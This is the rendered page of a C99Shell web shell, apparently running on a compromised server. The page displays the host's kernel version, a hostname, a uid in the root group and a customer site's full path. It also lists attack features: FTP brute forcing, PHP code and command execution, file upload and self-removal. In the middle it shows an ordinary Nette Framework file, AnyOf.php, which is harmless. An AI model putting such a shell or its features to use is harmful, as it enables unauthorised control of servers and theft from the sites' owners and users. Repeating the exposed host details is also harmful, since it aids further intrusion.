!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/nette/schema/src/Schema/Elements/   drwxr-xr-x
Free 28.5 GB of 117.98 GB (24.16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AnyOf.php (2.96 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * This file is part of the Nette Framework (https://nette.org)
 * Copyright (c) 2004 David Grudl (https://davidgrudl.com)
 */

declare(strict_types=1);

namespace 
Nette\Schema\Elements;

use 
Nette;
use 
Nette\Schema\Context;
use 
Nette\Schema\Helpers;
use 
Nette\Schema\Schema;


final class 
AnyOf implements Schema
{
    use 
Base;

    private array 
$set;


    public function 
__construct(mixed ...$set)
    {
        if (!
$set) {
            throw new 
Nette\InvalidStateException('The enumeration must not be empty.');
        }

        
$this->set $set;
    }


    public function 
firstIsDefault(): self
    
{
        
$this->default $this->set[0];
        return 
$this;
    }


    public function 
nullable(): self
    
{
        
$this->set[] = null;
        return 
$this;
    }


    public function 
dynamic(): self
    
{
        
$this->set[] = new Type(Nette\Schema\DynamicParameter::class);
        return 
$this;
    }


    
/********************* processing ****************d*g**/


    
public function normalize(mixed $valueContext $context): mixed
    
{
        return 
$this->doNormalize($value$context);
    }


    public function 
merge(mixed $valuemixed $base): mixed
    
{
        if (
is_array($value) && isset($value[Helpers::PreventMerging])) {
            unset(
$value[Helpers::PreventMerging]);
            return 
$value;
        }

        return 
Helpers::merge($value$base);
    }


    public function 
complete(mixed $valueContext $context): mixed
    
{
        
$isOk $context->createChecker();
        
$value $this->findAlternative($value$context);
        
$isOk() && $value $this->doTransform($value$context);
        return 
$isOk() ? $value null;
    }


    private function 
findAlternative(mixed $valueContext $context): mixed
    
{
        
$expecteds $innerErrors = [];
        foreach (
$this->set as $item) {
            if (
$item instanceof Schema) {
                
$dolly = new Context;
                
$dolly->path $context->path;
                
$res $item->complete($item->normalize($value$dolly), $dolly);
                if (!
$dolly->errors) {
                    
$context->warnings array_merge($context->warnings$dolly->warnings);
                    return 
$res;
                }

                foreach (
$dolly->errors as $error) {
                    if (
$error->path !== $context->path || empty($error->variables['expected'])) {
                        
$innerErrors[] = $error;
                    } else {
                        
$expecteds[] = $error->variables['expected'];
                    }
                }
            } else {
                if (
$item === $value) {
                    return 
$value;
                }

                
$expecteds[] = Nette\Schema\Helpers::formatValue($item);
            }
        }

        if (
$innerErrors) {
            
$context->errors array_merge($context->errors$innerErrors);
        } else {
            
$context->addError(
                
'The %label% %path% expects to be %expected%, %value% given.',
                
Nette\Schema\Message::TypeMismatch,
                [
                    
'value' => $value,
                    
'expected' => implode('|'array_unique($expecteds)),
                ],
            );
        }

        return 
null;
    }


    public function 
completeDefault(Context $context): mixed
    
{
        if (
$this->required) {
            
$context->addError(
                
'The mandatory item %path% is missing.',
                
Nette\Schema\Message::MissingItem,
            );
            return 
null;
        }

        if (
$this->default instanceof Schema) {
            return 
$this->default->completeDefault($context);
        }

        return 
$this->default;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--